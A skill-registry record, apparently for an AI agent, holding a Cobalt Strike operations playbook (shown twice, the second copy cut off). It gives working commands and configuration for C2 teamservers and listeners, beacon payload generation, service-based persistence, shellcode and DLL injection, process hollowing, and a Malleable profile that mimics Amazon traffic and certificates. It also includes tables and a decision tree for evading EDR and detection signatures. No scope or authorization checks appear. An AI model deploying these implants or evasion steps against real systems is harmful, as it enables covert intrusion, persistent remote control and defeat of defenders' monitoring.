[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DG30GF0K7XEAMMC6CS5772":3,"skill-same:01M7DG30GF0K7XEAMMC6CS5772":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DG30GF0K7XEAMMC6CS5772","c2-cobalt-strike",null,"Cobalt Strike operations — Beacon deployment, Malleable C2 profile creation, listener setup, OPSEC-safe beacon configuration, process injection, and Arsenal kit usage.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fpost-exploit\u002Fc2-cobalt-strike\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: c2-cobalt-strike\ndescription: \"Cobalt Strike operations — Beacon deployment, Malleable C2 profile creation, listener setup, OPSEC-safe beacon configuration, process injection, and Arsenal kit usage.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: command-and-control\n  when_to_use: \"Cobalt Strike, beacon, malleable c2, aggressor, teamserver, cobalt strike listener, arsenal kit\"\n  tags: c2, cobalt-strike, beacon, malleable-c2, process-injection, listener, opsec\n  mitre_attack: T1071.001, T1573.001, T1095, T1572\n---\n\n# Cobalt Strike Beacon Operations\n\nCobalt Strike is a commercial adversary simulation platform. It provides Beacon implants with async and interactive modes, Malleable C2 profiles for traffic shaping, and extensible post-exploitation via Aggressor scripts and the Arsenal kit.\n\n## Quick Reference\n\n```bash\n# Start teamserver\n.\u002Fteamserver \u003CTEAMSERVER_IP> \u003CPASSWORD> \u002Fpath\u002Fto\u002Fmalleable.profile\n\n# Connect client\n.\u002Fcobaltstrike\n\n# Generate stageless HTTPS Beacon (CLI)\n.\u002Fpegen --os windows --arch x64 --listener https-beacon --format exe --output \u002Fworkspace\u002Fexploit\u002Fbeacon.exe\n\n# List active Beacons (Aggressor console)\nbeacon_ids()\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage in Skill |\n|-----------|----|----------------|\n| Application Layer Protocol: Web Protocols | T1071.001 | HTTPS\u002FHTTP Beacon traffic |\n| Encrypted Channel: Symmetric Cryptography | T1573.001 | AES-256 encrypted C2 comms |\n| Non-Application Layer Protocol | T1095 | Raw TCP\u002FSMB Beacon channels |\n| Protocol Tunneling | T1572 | DNS tunneling, SMB named pipe chaining |\n\n## 1. Teamserver Setup\n\nThe teamserver is the Cobalt Strike operator backend. All Beacons call back to it through configured listeners.\n\n```bash\n# Start teamserver with a Malleable C2 profile\ncd \u002Fopt\u002Fcobaltstrike\n.\u002Fteamserver \u003CTEAMSERVER_IP> \u003CSHARED_PASSWORD> \u002Fworkspace\u002Fprofiles\u002Famazon.profile\n\n# Start on a non-default port\n.\u002Fteamserver \u003CTEAMSERVER_IP> \u003CSHARED_PASSWORD> \u002Fworkspace\u002Fprofiles\u002Famazon.profile 50050\n\n# Verify teamserver is listening\nss -tlnp | grep -E '(50050|443)'\n```\n\n**OPSEC notes:**\n- Never expose the teamserver port directly to the internet — use a redirector\n- Use a unique password per engagement; avoid defaults\n- Bind the management port to localhost or VPN interface only\n\n## 2. Listener Configuration\n\n### HTTPS Listener\n```\n# Cobalt Strike GUI: Cobalt Strike > Listeners > Add\n# Name:    https-beacon\n# Payload: Beacon HTTPS\n# Host:    \u003CC2_DOMAIN>\n# Port:    443\n# Beacons: \u003CC2_DOMAIN>\n# Profile: (loaded at teamserver start)\n```\n\n### DNS Listener\n```\n# Name:    dns-beacon\n# Payload: Beacon DNS\n# Host:    ns1.\u003CC2_DOMAIN>\n# Beacons: \u003CC2_DOMAIN>\n# Port:    53\n# NS Response: \u003CTEAMSERVER_IP>\n#\n# Required DNS records:\n#   A    ns1.\u003CC2_DOMAIN>  ->  \u003CTEAMSERVER_IP>\n#   NS   c2.\u003CC2_DOMAIN>   ->  ns1.\u003CC2_DOMAIN>\n```\n\n### SMB Listener (Peer-to-Peer)\n```\n# Name:    smb-beacon\n# Payload: Beacon SMB\n# Pipename: \\\\.\\pipe\\msagent_\u003CRANDOM>\n#\n# SMB Beacons chain through an egress Beacon — no direct internet required.\n# Use for lateral movement inside segmented networks.\n```\n\n### TCP Listener (Bind\u002FReverse)\n```\n# Name:    tcp-bind\n# Payload: Beacon TCP (Bind)\n# Port:    4444\n#\n# The parent Beacon connects to the child — useful when the child\n# cannot initiate outbound connections.\n```\n\n## 3. Beacon Generation\n\n### Stageless Payloads (Preferred for OPSEC)\n```bash\n# GUI: Attacks > Packages > Windows Executable (S)\n# Listener:  https-beacon\n# Output:    Windows EXE (stageless)\n# x64:       checked\n# Save to:   \u002Fworkspace\u002Fexploit\u002Fbeacon_https_x64.exe\n\n# Raw shellcode for custom loaders\n# Attacks > Packages > Payload Generator\n# Listener:  https-beacon\n# Output:    Raw\n# x64:       checked\n# Save to:   \u002Fworkspace\u002Fexploit\u002Fbeacon.bin\n```\n\n### Staged Payloads\n```bash\n# GUI: Attacks > Packages > Windows Executable\n# Listener:  https-beacon\n# Output:    Windows EXE\n# x64:       checked\n# Smaller initial payload — fetches full Beacon from listener on execution.\n# WARNING: staging traffic is signatured; prefer stageless in mature environments.\n```\n\n### DLL Payloads (Sideloading)\n```bash\n# Attacks > Packages > Windows DLL\n# Listener:  https-beacon\n# x64:       checked\n# Save to:   \u002Fworkspace\u002Fexploit\u002Fbeacon.dll\n\n# Execute via sideloading or rundll32\n# rundll32.exe beacon.dll,StartW\n```\n\n### Service EXE (Persistence)\n```bash\n# Attacks > Packages > Windows Service EXE\n# Listener:  https-beacon\n# x64:       checked\n# Registers as a Windows service for persistence via:\n#   sc create \u003CNAME> binPath= \"C:\\path\\to\\svc_beacon.exe\" start= auto\n```\n\n## 4. Malleable C2 Profiles\n\nMalleable C2 profiles shape Beacon traffic to mimic legitimate application behavior, evading network-level detection.\n\n### Profile Structure\n```\n# \u002Fworkspace\u002Fprofiles\u002Famazon.profile\n\nset sample_name \"Amazon Browsing\";\nset sleeptime \"60000\";          # 60 second callback\nset jitter    \"37\";             # 37% jitter\nset useragent \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F120.0.0.0 Safari\u002F537.36\";\n\n# Process injection defaults\nset host_stage \"false\";         # Disable staging (OPSEC)\n\nhttps-certificate {\n    set CN       \"www.amazon.com\";\n    set O        \"Amazon.com Inc.\";\n    set C        \"US\";\n    set validity \"365\";\n}\n\nhttp-get {\n    set uri \"\u002Fs\u002Fref=nb_sb_noss\";\n\n    client {\n        header \"Accept\" \"text\u002Fhtml,application\u002Fxhtml+xml\";\n        header \"Accept-Encoding\" \"gzip, deflate, br\";\n        header \"Accept-Language\" \"en-US,en;q=0.9\";\n\n        metadata {\n            base64url;\n            parameter \"field-keywords\";\n        }\n    }\n\n    server {\n        header \"Content-Type\" \"text\u002Fhtml; charset=UTF-8\";\n        header \"Server\" \"Server\";\n        header \"X-Amz-Cf-Id\" \"XXXXXXXXX\";\n\n        output {\n            netbios;\n            prepend \"\u003C!DOCTYPE html>\u003Chtml>\";\n            append \"\u003C\u002Fhtml>\";\n            print;\n        }\n    }\n}\n\nhttp-post {\n    set uri \"\u002Fgp\u002Fproduct\u002Fhandle-buy-box\";\n\n    client {\n        header \"Content-Type\" \"application\u002Fx-www-form-urlencoded\";\n\n        id {\n            base64url;\n            parameter \"session-id\";\n        }\n\n        output {\n            base64url;\n            parameter \"data\";\n        }\n    }\n\n    server {\n        header \"Content-Type\" \"application\u002Fjson\";\n\n        output {\n            netbios;\n            prepend \"{\\\"status\\\":\\\"ok\\\",\\\"data\\\":\\\"\";\n            append \"\\\"}\";\n            print;\n        }\n    }\n}\n```\n\n### Profile Validation\n```bash\n# Lint profile before loading\n.\u002Fc2lint \u002Fworkspace\u002Fprofiles\u002Famazon.profile\n\n# Expected output: no errors, warnings acceptable\n# If c2lint fails, the teamserver will refuse to load the profile\n```\n\n### OPSEC-Critical Profile Settings\n```\n# Disable staged payloads (prevents signature on staging URI)\nset host_stage \"false\";\n\n# Spawn-to — controls which process Beacon forks into for post-ex\nset spawnto_x86 \"%windir%\\\\syswow64\\\\dllhost.exe\";\nset spawnto_x64 \"%windir%\\\\sysnative\\\\dllhost.exe\";\n\n# Data transform — change encoding to avoid base64 signatures\nset data_jitter \"100\";\n\n# TCP frame header (avoids default Beacon wire signature)\nset tcp_frame_header \"\\x80\";\n\n# SMB pipe name (avoid defaults)\nset pipename \"mojo.5688.8052.183894939787088877##\";\nset pipename_stager \"mojo.5688.8052.35780273329370473##\";\n```\n\n## 5. Sleep and Jitter Configuration\n\n```\n# Interactive (risky — high beacon rate)\nsleep 0\n\n# Low-and-slow recon phase\nsleep 300 50          # 5 min +-50% jitter = 150-450 sec intervals\n\n# Standard operations\nsleep 60 37           # 60 sec +-37% jitter\n\n# Long-haul persistence\nsleep 3600 80         # 1 hour +-80% jitter = 12 min to 1h48m\n```\n\n**Guidance:**\n| Phase | Sleep (sec) | Jitter (%) | Rationale |\n|-------|-------------|------------|-----------|\n| Initial access | 60–300 | 30–50 | Blend with normal browsing patterns |\n| Active operations | 10–30 | 20–40 | Responsiveness with some variation |\n| Persistence \u002F dormant | 1800–86400 | 50–80 | Minimize traffic, maximize dwell |\n| Interactive tasking | 0 (session mode) | — | Only for time-critical ops, revert after |\n\n## 6. Process Injection\n\n### Fork & Run (Default)\n```\n# Beacon spawns a sacrificial process, injects code, collects output, kills process.\n# Controlled by spawnto_x86\u002Fx64 in profile.\n\n# Override per-command:\nspawnto x64 %windir%\\sysnative\\RuntimeBroker.exe\n```\n\n### Inline Execution (BOF)\n```\n# BOFs execute in Beacon's own process — no new process, no fork.\n# Use Arsenal\u002Fcommunity BOFs for OPSEC-sensitive tasks.\n\ninline-execute \u002Fworkspace\u002Fbofs\u002Fwhoami.o\n```\n\n### Manual Injection\n```\n# Inject Beacon shellcode into a running process\ninject \u003CPID> x64 https-beacon\n\n# Shinject — inject arbitrary shellcode\nshinject \u003CPID> x64 \u002Fworkspace\u002Fexploit\u002Fshellcode.bin\n\n# DLL injection\ndllinject \u003CPID> \u002Fworkspace\u002Fexploit\u002Fbeacon.dll\n```\n\n### Process Hollowing\n```\n# Spawn a suspended process and replace its image\n# Attacks > Packages > Payload Generator > choose process hollowing\n# Target process: svchost.exe, RuntimeBroker.exe, or similar long-lived system process\n```\n\n**OPSEC process selection:**\n| Process | Risk | Notes |\n|---------|------|-------|\n| `svchost.exe` | Low (if spawned correctly) | Must run as SYSTEM with correct parent |\n| `RuntimeBroker.exe` | Low | Normal user-level process |\n| `dllhost.exe` | Low | COM surrogate, common |\n| `notepad.exe` | Medium | Users notice open windows |\n| `powershell.exe` | High | Heavily monitored by EDR |\n\n## 7. Arsenal Kit Integration\n\nThe Arsenal kit provides source-level customization of Cobalt Strike's built-in capabilities.\n\n```bash\n# Build custom artifacts (shellcode loaders, DLLs)\ncd \u002Fopt\u002Fcobaltstrike\u002Farsenal-kit\u002Fkits\u002Fartifact\n.\u002Fbuild.sh pipe VirtualAlloc 310272 5 false false \u002Fworkspace\u002Farsenal\u002Fartifact\n\n# Build custom resource kit (PowerShell templates, HTA, VBA)\ncd \u002Fopt\u002Fcobaltstrike\u002Farsenal-kit\u002Fkits\u002Fresource\n.\u002Fbuild.sh \u002Fworkspace\u002Farsenal\u002Fresource\n\n# Build custom process-inject kit\ncd \u002Fopt\u002Fcobaltstrike\u002Farsenal-kit\u002Fkits\u002Fprocess_inject\n.\u002Fbuild.sh \u002Fworkspace\u002Farsenal\u002Fprocess_inject\n\n# Load customized kits via Aggressor\n# In Script Console:\nload(\"\u002Fworkspace\u002Farsenal\u002Fartifact\u002Fartifact.cna\")\nload(\"\u002Fworkspace\u002Farsenal\u002Fresource\u002Fresources.cna\")\nload(\"\u002Fworkspace\u002Farsenal\u002Fprocess_inject\u002Fprocess_inject.cna\")\n```\n\n## 8. OPSEC Considerations\n\n| Risk | Default Behavior | Mitigation |\n|------|-------------------|------------|\n| Named pipes | `\\\\.\\pipe\\msagent_XX` | Custom `pipename` in profile |\n| Spawn-to process | `rundll32.exe` | Set `spawnto_x64` to `dllhost.exe` or `RuntimeBroker.exe` |\n| Staging URIs | Checksum8 pattern (`\u002Faaa9`, `\u002Fab2g`) | `set host_stage \"false\"` |\n| Self-signed TLS | Default CS cert | Use valid cert or Malleable `https-certificate` block |\n| JA3 fingerprint | Unique to CS | Use a redirector with nginx to terminate TLS |\n| User-Agent | Default CS UA | Set in Malleable profile |\n| Post-ex commands | Fork & run (new process) | Use BOFs for inline execution |\n| DNS queries | High volume TXT records | Increase sleep, use hybrid DNS+HTTPS |\n\n## Detection Signatures\n\n| Indicator | Pattern | Mitigation |\n|-----------|---------|------------|\n| Default named pipe | `\\\\.\\pipe\\msagent_*` | Custom pipename in Malleable profile |\n| Checksum8 staging URI | URI where `checksum8(uri) == 92` (x86) or `93` (x64) | Disable staging (`host_stage \"false\"`) |\n| Beacon metadata | XOR-encoded cookie in HTTP GET | Custom metadata transform in profile |\n| Default TLS cert | Serial `146473198` \u002F Issuer \"Major Cobalt Strike\" | Valid cert or custom `https-certificate` |\n| Sleep pattern | Consistent interval with fixed jitter | Randomize sleep values per phase |\n| NtCreateThreadEx injection | ETW process injection telemetry | Use BOFs, modify process_inject kit |\n| Named pipe impersonation | `ImpersonateNamedPipeClient` calls | Unique pipe names, limit lateral SMB usage |\n\n## Error Handling & Edge Cases\n\n| Issue | Symptom | Resolution |\n|-------|---------|------------|\n| c2lint fails | `Profile failed validation` | Fix syntax; ensure all blocks have matching braces |\n| Beacon won't call back | No sessions appear | Verify listener port open, DNS resolves, redirector forwards correctly |\n| Staging blocked | `HTTP 404` on stager URI | Defender blocking checksum8 URI; switch to stageless |\n| Process injection fails | `Could not inject` | Target process arch mismatch (x86 vs x64) or protected process |\n| Malleable profile conflict | Teamserver exits on start | Only one profile per teamserver; check for duplicate global options |\n| Beacon killed after minutes | AV\u002FEDR detection | Recompile artifact kit, change sleep, use process hollowing |\n| SMB Beacon unreachable | `could not connect to pipe` | Firewall blocking port 445 or pipe name changed |\n\n## Decision Gate\n\n```\nIs the target environment monitored by mature EDR?\n├── YES\n│   ├── Use stageless payloads with host_stage=false\n│   ├── Customize artifact kit for loader evasion\n│   ├── BOFs over fork-and-run for post-exploitation\n│   ├── Profile mimicking high-volume site (CDN, SaaS)\n│   └── Consider domain fronting (see c2-domain-fronting skill)\n├── NO (limited monitoring)\n│   ├── Standard HTTPS listener with moderate profile\n│   ├── Fork-and-run acceptable for speed\n│   └── Default artifact kit may suffice\n└── INTERNAL PIVOT (post-initial-access)\n    ├── SMB Beacon for peer-to-peer chaining\n    ├── TCP bind Beacon for segmented networks\n    └── Named pipe customization required\n```\n\n## Tools & Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| Cobalt Strike | Adversary simulation platform | https:\u002F\u002Fwww.cobaltstrike.com\u002F |\n| Arsenal Kit | Source-level CS customization | Included with CS license |\n| c2lint | Malleable profile validator | Included with CS |\n| Malleable-C2-Profiles | Community profile repo | https:\u002F\u002Fgithub.com\u002Frsmudge\u002FMalleable-C2-Profiles |\n| BOF.NET | .NET BOF execution | https:\u002F\u002Fgithub.com\u002FCCob\u002FBOF.NET |\n| CS-Situational-Awareness-BOF | Recon BOFs | https:\u002F\u002Fgithub.com\u002Ftrustedsec\u002FCS-Situational-Awareness-BOF |\n| Cobalt Strike Community Kit | Community extensions | https:\u002F\u002Fcobalt-strike.github.io\u002Fcommunity_kit\u002F |\n","# Cobalt Strike Beacon Operations\n\nCobalt Strike is a commercial adversary simulation platform. It provides Beacon implants with async and interactive modes, Malleable C2 profiles for traffic shaping, and extensible post-exploitation via Aggressor scripts and the Arsenal kit.\n\n## Quick Reference\n\n```bash\n# Start teamserver\n.\u002Fteamserver \u003CTEAMSERVER_IP> \u003CPASSWORD> \u002Fpath\u002Fto\u002Fmalleable.profile\n\n# Connect client\n.\u002Fcobaltstrike\n\n# Generate stageless HTTPS Beacon (CLI)\n.\u002Fpegen --os windows --arch x64 --listener https-beacon --format exe --output \u002Fworkspace\u002Fexploit\u002Fbeacon.exe\n\n# List active Beacons (Aggressor console)\nbeacon_ids()\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage in Skill |\n|-----------|----|----------------|\n| Application Layer Protocol: Web Protocols | T1071.001 | HTTPS\u002FHTTP Beacon traffic |\n| Encrypted Channel: Symmetric Cryptography | T1573.001 | AES-256 encrypted C2 comms |\n| Non-Application Layer Protocol | T1095 | Raw TCP\u002FSMB Beacon channels |\n| Protocol Tunneling | T1572 | DNS tunneling, SMB named pipe chaining |\n\n## 1. Teamserver Setup\n\nThe teamserver is the Cobalt Strike operator backend. All Beacons call back to it through configured listeners.\n\n```bash\n# Start teamserver with a Malleable C2 profile\ncd \u002Fopt\u002Fcobaltstrike\n.\u002Fteamserver \u003CTEAMSERVER_IP> \u003CSHARED_PASSWORD> \u002Fworkspace\u002Fprofiles\u002Famazon.profile\n\n# Start on a non-default port\n.\u002Fteamserver \u003CTEAMSERVER_IP> \u003CSHARED_PASSWORD> \u002Fworkspace\u002Fprofiles\u002Famazon.profile 50050\n\n# Verify teamserver is listening\nss -tlnp | grep -E '(50050|443)'\n```\n\n**OPSEC notes:**\n- Never expose the teamserver port directly to the internet — use a redirector\n- Use a unique password per engagement; avoid defaults\n- Bind the management port to localhost or VPN interface only\n\n## 2. Listener Configuration\n\n### HTTPS Listener\n```\n# Cobalt Strike GUI: Cobalt Strike > Listeners > Add\n# Name:    https-beacon\n# Payload: Beacon HTTPS\n# Host:    \u003CC2_DOMAIN>\n# Port:    443\n# Beacons: \u003CC2_DOMAIN>\n# Profile: (loaded at teamserver start)\n```\n\n### DNS Listener\n```\n# Name:    dns-beacon\n# Payload: Beacon DNS\n# Host:    ns1.\u003CC2_DOMAIN>\n# Beacons: \u003CC2_DOMAIN>\n# Port:    53\n# NS Response: \u003CTEAMSERVER_IP>\n#\n# Required DNS records:\n#   A    ns1.\u003CC2_DOMAIN>  ->  \u003CTEAMSERVER_IP>\n#   NS   c2.\u003CC2_DOMAIN>   ->  ns1.\u003CC2_DOMAIN>\n```\n\n### SMB Listener (Peer-to-Peer)\n```\n# Name:    smb-beacon\n# Payload: Beacon SMB\n# Pipename: \\\\.\\pipe\\msagent_\u003CRANDOM>\n#\n# SMB Beacons chain through an egress Beacon — no direct internet required.\n# Use for lateral movement inside segmented networks.\n```\n\n### TCP Listener (Bind\u002FReverse)\n```\n# Name:    tcp-bind\n# Payload: Beacon TCP (Bind)\n# Port:    4444\n#\n# The parent Beacon connects to the child — useful when the child\n# cannot initiate outbound connections.\n```\n\n## 3. Beacon Generation\n\n### Stageless Payloads (Preferred for OPSEC)\n```bash\n# GUI: Attacks > Packages > Windows Executable (S)\n# Listener:  https-beacon\n# Output:    Windows EXE (stageless)\n# x64:       checked\n# Save to:   \u002Fworkspace\u002Fexploit\u002Fbeacon_https_x64.exe\n\n# Raw shellcode for custom loaders\n# Attacks > Packages > Payload Generator\n# Listener:  https-beacon\n# Output:    Raw\n# x64:       checked\n# Save to:   \u002Fworkspace\u002Fexploit\u002Fbeacon.bin\n```\n\n### Staged Payloads\n```bash\n# GUI: Attacks > Packages > Windows Executable\n# Listener:  https-beacon\n# Output:    Windows EXE\n# x64:       checked\n# Smaller initial payload — fetches full Beacon from listener on execution.\n# WARNING: staging traffic is signatured; prefer stageless in mature environments.\n```\n\n### DLL Payloads (Sideloading)\n```bash\n# Attacks > Packages > Windows DLL\n# Listener:  https-beacon\n# x64:       checked\n# Save to:   \u002Fworkspace\u002Fexploit\u002Fbeacon.dll\n\n# Execute via sideloading or rundll32\n# rundll32.exe beacon.dll,StartW\n```\n\n### Service EXE (Persistence)\n```bash\n# Attacks > Packages > Windows Service EXE\n# Listener:  https-beacon\n# x64:       checked\n# Registers as a Windows service for persistence via:\n#   sc create \u003CNAME> binPath= \"C:\\path\\to\\svc_beacon.exe\" start= auto\n```\n\n## 4. Malleable C2 Profiles\n\nMalleable C2 profiles shape Beacon traffic to mimic legitimate application behavior, evading network-level detection.\n\n### Profile Structure\n```\n# \u002Fworkspace\u002Fprofiles\u002Famazon.profile\n\nset sample_name \"Amazon Browsing\";\nset sleeptime \"60000\";          # 60 second callback\nset jitter    \"37\";             # 37% jitter\nset useragent \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F120.0.0.0 Safari\u002F537.36\";\n\n# Process injection defaults\nset host_stage \"false\";         # Disable staging (OPSEC)\n\nhttps-certificate {\n    set CN       \"www.amazon.com\";\n    set O        \"Amazon.com Inc.\";\n    set C        \"US\";\n    set validity \"365\";\n}\n\nhttp-get {\n    set uri \"\u002Fs\u002Fref=nb_sb_noss\";\n\n    client {\n        header \"Accept\" \"text\u002Fhtml,application\u002Fxhtml+xml\";\n        header \"Accept-Encoding\" \"gzip, deflate, br\";\n        header \"Accept-Language\" \"en-US,en;q=0.9\";\n\n        metadata {\n            base64url;\n            parameter \"field-keywords\";\n        }\n    }\n\n    server {\n        header \"Content-Type\" \"text\u002Fhtml; charset=UTF-8\";\n        header \"Server\" \"Server\";\n        header \"X-Amz-Cf-Id\" \"XXXXXXXXX\";\n\n        output {\n            netbios;\n            prepend \"\u003C!DOCTYPE html>\u003Chtml>\";\n            append \"\u003C\u002Fhtml>\";\n            print;\n        }\n    }\n}\n\nhttp-post {\n    set uri \"\u002Fgp\u002Fproduct\u002Fhandle-buy-box\";\n\n    client {\n        header \"Content-Type\" \"application\u002Fx-www-form-urlencoded\";\n\n        id {\n            base64url;\n            parameter \"session-id\";\n        }\n\n        output {\n            base64url;\n            parameter \"data\";\n        }\n    }\n\n    server {\n        header \"Content-Type\" \"application\u002Fjson\";\n\n        output {\n            netbios;\n            prepend \"{\\\"status\\\":\\\"ok\\\",\\\"data\\\":\\\"\";\n            append \"\\\"}\";\n            print;\n        }\n    }\n}\n```\n\n### Profile Validation\n```bash\n# Lint profile before loading\n.\u002Fc2lint \u002Fworkspace\u002Fprofiles\u002Famazon.profile\n\n# Expected output: no errors, warnings acceptable\n# If c2lint fails, the teamserver will refuse to load the profile\n```\n\n### OPSEC-Critical Profile Settings\n```\n# Disable staged payloads (prevents signature on staging URI)\nset host_stage \"false\";\n\n# Spawn-to — controls which process Beacon forks into for post-ex\nset spawnto_x86 \"%windir%\\\\syswow64\\\\dllhost.exe\";\nset spawnto_x64 \"%windir%\\\\sysnative\\\\dllhost.exe\";\n\n# Data transform — change encoding to avoid base64 signatures\nset data_jitter \"100\";\n\n# TCP frame header (avoids default Beacon wire signature)\nset tcp_frame_header \"\\x80\";\n\n# SMB pipe name (avoid defaults)\nset pipename \"mojo.5688.8052.183894939787088877##\";\nset pipename_stager \"mojo.5688.8052.35780273329370473##\";\n```\n\n## 5. Sleep and Jitter Configuration\n\n```\n# Interactive (risky — high beacon rate)\nsleep 0\n\n# Low-and-slow recon phase\nsleep 300 50          # 5 min +-50% jitter = 150-450 sec intervals\n\n# Standard operations\nsleep 60 37           # 60 sec +-37% jitter\n\n# Long-haul persistence\nsleep 3600 80         # 1 hour +-80% jitter = 12 min to 1h48m\n```\n\n**Guidance:**\n| Phase | Sleep (sec) | Jitter (%) | Rationale |\n|-------|-------------|------------|-----------|\n| Initial access | 60–300 | 30–50 | Blend with normal browsing patterns |\n| Active operations | 10–30 | 20–40 | Responsiveness with some variation |\n| Persistence \u002F dormant | 1800–86400 | 50–80 | Minimize traffic, maximize dwell |\n| Interactive tasking | 0 (session mode) | — | Only for time-critical ops, revert after |\n\n## 6. Process Injection\n\n### Fork & Run (Default)\n```\n# Beacon spawns a sacrificial process, injects code, collects output, kills process.\n# Controlled by spawnto_x86\u002Fx64 in profile.\n\n# Override per-command:\nspawnto x64 %windir%\\sysnative\\RuntimeBroker.exe\n```\n\n### Inline Execution (BOF)\n```\n# BOFs execute in Beacon's own process — no new process, no fork.\n# Use Arsenal\u002Fcommunity BOFs for OPSEC-sensitive tasks.\n\ninline-execute \u002Fworkspace\u002Fbofs\u002Fwhoami.o\n```\n\n### Manual Injection\n```\n# Inject Beacon shellcode into a running process\ninject \u003CPID> x64 https-beacon\n\n# Shinject — inject arbitrary shellcode\nshinject \u003CPID> x64 \u002Fworkspace\u002Fexploit\u002Fshellcode.bin\n\n# DLL injection\ndllinject \u003CPID> \u002Fworkspace\u002Fexploit\u002Fbeacon.dll\n```\n\n### Process Hollowing\n```\n# Spawn a suspended process and replace its image\n# Attacks > Packages > Payload Generator > choose process hollowing\n# Target process: svchost.exe, RuntimeBroker.exe, or similar long-lived system process\n```\n\n**OPSEC process selection:**\n| Process | Risk | Notes |\n|---------|------|-------|\n| `svchost.exe` | Low (if spawned correctly) | Must run as SYSTEM with correct parent |\n| `RuntimeBroker.exe` | Low | Normal user-level process |\n| `dllhost.exe` | Low | COM surrogate, common |\n| `notepad.exe` | Medium | Users notice open windows |\n| `powershell.exe` | High | Heavily monitored by EDR |\n\n## 7. Arsenal Kit Integration\n\nThe Arsenal kit provides source-level customization of Cobalt Strike's built-in capabilities.\n\n```bash\n# Build custom artifacts (shellcode loaders, DLLs)\ncd \u002Fopt\u002Fcobaltstrike\u002Farsenal-kit\u002Fkits\u002Fartifact\n.\u002Fbuild.sh pipe VirtualAlloc 310272 5 false false \u002Fworkspace\u002Farsenal\u002Fartifact\n\n# Build custom resource kit (PowerShell templates, HTA, VBA)\ncd \u002Fopt\u002Fcobaltstrike\u002Farsenal-kit\u002Fkits\u002Fresource\n.\u002Fbuild.sh \u002Fworkspace\u002Farsenal\u002Fresource\n\n# Build custom process-inject kit\ncd \u002Fopt\u002Fcobaltstrike\u002Farsenal-kit\u002Fkits\u002Fprocess_inject\n.\u002Fbuild.sh \u002Fworkspace\u002Farsenal\u002Fprocess_inject\n\n# Load customized kits via Aggressor\n# In Script Console:\nload(\"\u002Fworkspace\u002Farsenal\u002Fartifact\u002Fartifact.cna\")\nload(\"\u002Fworkspace\u002Farsenal\u002Fresource\u002Fresources.cna\")\nload(\"\u002Fworkspace\u002Farsenal\u002Fprocess_inject\u002Fprocess_inject.cna\")\n```\n\n## 8. OPSEC Considerations\n\n| Risk | Default Behavior | Mitigation |\n|------|-------------------|------------|\n| Named pipes | `\\\\.\\pipe\\msagent_XX` | Custom `pipename` in profile |\n| Spawn-to process | `rundll32.exe` | Set `spawnto_x64` to `dllhost.exe` or `RuntimeBroker.exe` |\n| Staging URIs | Checksum8 pattern (`\u002Faaa9`, `\u002Fab2g`) | `set host_stage \"false\"` |\n| Self-signed TLS | Default CS cert | Use valid cert or Malleable `https-certificate` block |\n| JA3 fingerprint | Unique to CS | Use a redirector with nginx to terminate TLS |\n| User-Agent | Default CS UA | Set in Malleable profile |\n| Post-ex commands | Fork & run (new process) | Use BOFs for inline execution |\n| DNS queries | High volume TXT records | Increase sleep, use hybrid DNS+HTTPS |\n\n## Detection Signatures\n\n| Indicator | Pattern | Mitigation |\n|-----------|---------|------------|\n| Default named pipe | `\\\\.\\pipe\\msagent_*` | Custom pipename in Malleable profile |\n| Checksum8 staging URI | URI where `checksum8(uri) == 92` (x86) or `93` (x64) | Disable staging (`host_stage \"false\"`) |\n| Beacon metadata | XOR-encoded cookie in HTTP GET | Custom metadata transform in profile |\n| Default TLS cert | Serial `146473198` \u002F Issuer \"Major Cobalt Strike\" | Valid cert or custom `https-certificate` |\n| Sleep pattern | Consistent interval with fixed jitter | Randomize sleep values per phase |\n| NtCreateThreadEx injection | ETW process injection telemetry | Use BOFs, modify process_inject kit |\n| Named pipe impersonation | `ImpersonateNamedPipeClient` calls | Unique pipe names, limit lateral SMB usage |\n\n## Error Handling & Edge Cases\n\n| Issue | Symptom | Resolution |\n|-------|---------|------------|\n| c2lint fails | `Profile failed validation` | Fix syntax; ensure all blocks have matching braces |\n| Beacon won't call back | No sessions appear | Verify listener port open, DNS resolves, redirector forwards correctly |\n| Staging blocked | `HTTP 404` on stager URI | Defender blocking checksum8 URI; switch to stageless |\n| Process injection fails | `Could not inject` | Target process arch mismatch (x86 vs x64) or protected process |\n| Malleable profile conflict | Teamserver exits on start | Only one profile per teamserver; check for duplicate global options |\n| Beacon killed after minutes | AV\u002FEDR detection | Recompile artifact kit, change sleep, use process hollowing |\n| SMB Beacon unreachable | `could not connect to pipe` | Firewall blocking port 445 or pipe name changed |\n\n## Decision Gate\n\n```\nIs the target environment monitored by mature EDR?\n├── YES\n│   ├── Use stageless payloads with host_stage=false\n│   ├── Customize artifact kit for loader evasion\n│   ├── BOFs over fork-and-run for post-exploitation\n│   ├── Profile mimicking high-volume site (CDN, SaaS)\n│   └── Consider domain fronting (see c2-domain-fronting skill)\n├── NO (limited monitoring)\n│   ├── Standard HTTPS listener with moderate profile\n│   ├── Fork-and-run 